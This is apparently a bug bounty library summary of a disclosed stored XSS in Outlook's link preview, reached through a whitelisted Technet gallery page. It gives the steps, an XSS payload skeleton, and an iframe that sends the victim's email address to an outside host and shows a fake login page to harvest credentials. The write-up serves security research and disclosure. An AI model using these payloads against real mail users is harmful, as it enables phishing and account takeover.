# Uncovering a Bug I Found in Outlook: How Could an Account Has Been Compromised?

Stored XSS in Outlook's link-preview of a whitelisted Technet gallery page let an attacker run JS in the victim's session and phish credentials via a fake login iframe.

- Payout: $5,000
- Severity: high
- Program: Microsoft
- Credited: Cem Onat Karagun
- Disclosed: 2022-12-26
- CVE: CVE-2017-8758
- Write-up quality: 6/10
- Original: https://cems.fun/2022/12/26/CVE-2017-8758.html
- Library page: https://bugbountylibrary.com/r/blog%3Acems-fun-2022-12-26-cve-2017-8758-html
- Tags: domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:email technique:chained technique:recon vuln:misconfiguration vuln:xss

**Target:** Outlook web link-preview / Exchange Server
**Root cause:** The link-preview feature fetched HTML meta/description fields from whitelisted domains and rendered them without sanitization, so a `"><img src=x onerror=...>` payload stored in a Technet gallery post's description executed in the Outlook origin.
**Steps:**
1. Enumerate whitelisted preview domains by searching random strings on Microsoft.com/Xbox.com and collecting result domains
2. Create a post on gallery.technet.microsoft.com with description/body set to `"><img src=x onerror=JAVASCRIPT-CODE-HERE`
3. Send the gallery URL in an email to the victim; preview fetches and renders the stored payload
4. Payload runs in Outlook origin; use `document.write` with an iframe to `https://cok.kim/?email='+document.title` to capture the victim email and show a fake login page
5. Server-side PHP `explode("-", $_GET['email'])[1]` parses the victim address from the title `Posta - victim@outlook.com`
**How found:** Noticed link preview only fetched whitelisted domains, so enumerated trusted domains via Microsoft/Xbox search results; found some whitelisted sites allowed user-editable content (e.g. Prezi, Technet gallery), then tested which fetched fields (title/description) reflected unsanitized HTML.
**Exploitation:** Attacker stores payload on a Microsoft-owned whitelisted domain, emails the URL; when the preview renders, JS executes in the victim's Outlook session, reads document.title (victim email), and overlays a dynamically personalized fake Outlook login iframe that posts credentials to the attacker's PHP/MySQL backend. Payload can later be removed from the page so the email only contains a benign Microsoft URL.
**Escalation:** Payload editable remotely post-send; removal of payload leaves only a clean Microsoft URL in the email, evading later inspection.
**Insight:** When a preview/unfurl feature restricts fetching to an allowlist, the allowlist itself is the attack surface: hunt for any allowlisted domain that hosts user-generated content (galleries, docs, presentations) and test which specific fetched fields (meta description, title) are reflected without encoding.